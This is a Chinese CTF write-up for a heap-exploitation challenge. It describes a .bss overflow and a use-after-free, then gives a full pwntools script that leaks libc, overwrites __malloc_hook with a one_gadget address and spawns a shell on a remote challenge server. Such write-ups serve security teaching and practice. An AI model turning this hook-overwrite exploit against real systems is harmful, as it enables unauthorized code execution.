题目描述

保护全开

add

最多申请四个堆
输入的phone num和name存在溢出,输入到bss段上,可以覆盖后面的指针
申请的des的大小在0~128
des的size和指针记录在bss段上

结构可以分成两部分看

free

free指向des的指针
指针未置0
num的第一个字节和name的第一个字节修改置0
des的size位置0

show

输出num
输出name
输出存储des处指针指向的内容

edit

先判断输入的index是否在范围内
然后直接向对应的num和name区域输入数据,无长度限制
最后根据des的size位向des区域读入对应大小的数据(free后size位置0,无法读入)

思路

创造一个unsorted bin
再用show就可以泄露得到libc基址
计算出malloc hook地址和one_gadget地址
利用编辑功能覆盖指针
首先edit(1, 'A', 'B'*13+str(p64(malloc_hook)), 'C'),把指针覆盖指向malloc hook
然后再次edit,edit(1, 'A', 'B', p64(one_gadget)),就会把one_gadget写到malloc hook上
最后再申请一次堆就能get shell了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from pwn import*
context(os='linux', arch='amd64', log_level='debug')
#r = process('./hello')

r = remote('119.3.81.43', 49153)
elf = ELF('./hello')

def add(num, name, size, info):
r.recvuntil('your choice>>')
r.sendline('1')
r.recvuntil(':')
r.sendline(num)
r.recvuntil(':')
r.sendline(name)
r.recvuntil(':')
r.sendline(str(size))
r.recvuntil(':')
r.sendline(info)

def free(idx):
r.recvuntil('your choice>>')
r.sendline('2')
r.recvuntil(':')
r.sendline(str(idx))

def show(idx):
r.recvuntil('your choice>>')
r.sendline('3')
r.recvuntil(':')
r.sendline(str(idx))

def edit(idx, num, name, info):
r.recvuntil('your choice>>')
r.sendline('4')
r.recvuntil(':')
r.sendline(str(idx))
r.recvuntil(':')
r.sendline(num)
r.recvuntil(':')
r.sendline(name)
r.recvuntil(':')
r.sendline(info)


add('AAAA', 'BBBB', 128, 'CCCC') #0
add('AAAA', 'BBBB', 64, 'CCCC') #1
add('AAAA', 'BBBB', 64, 'CCCC') #2

free(0)
edit(0, 'B', 'C', 'D')
show(0)
r.recvuntil('des:')
#r.recv(6)
data = u64(r.recv(6).ljust(8, '\x00'))

libc_base = data-0x3c4b78
malloc_hook = libc_base+0x3c4b10
one_gadget = libc_base+0xf1207

print 'libc_base ===> ', hex(libc_base)
print 'malloc_hook ===> ', hex(malloc_hook)
print hex(one_gadget)

edit(1, 'A', 'B'*13+str(p64(malloc_hook)), 'C')

edit(1, 'A', 'B', p64(one_gadget))

#add('AAAA', 'BBBB', 64, 'CCCC')
#gdb.attach(r)

r.recvuntil('your choice>>')
r.sendline('1')
r.recvuntil(':')
r.sendline('A')
r.recvuntil(':')
r.sendline('A')
r.recvuntil(':')
r.sendline(str(64))

r.interactive()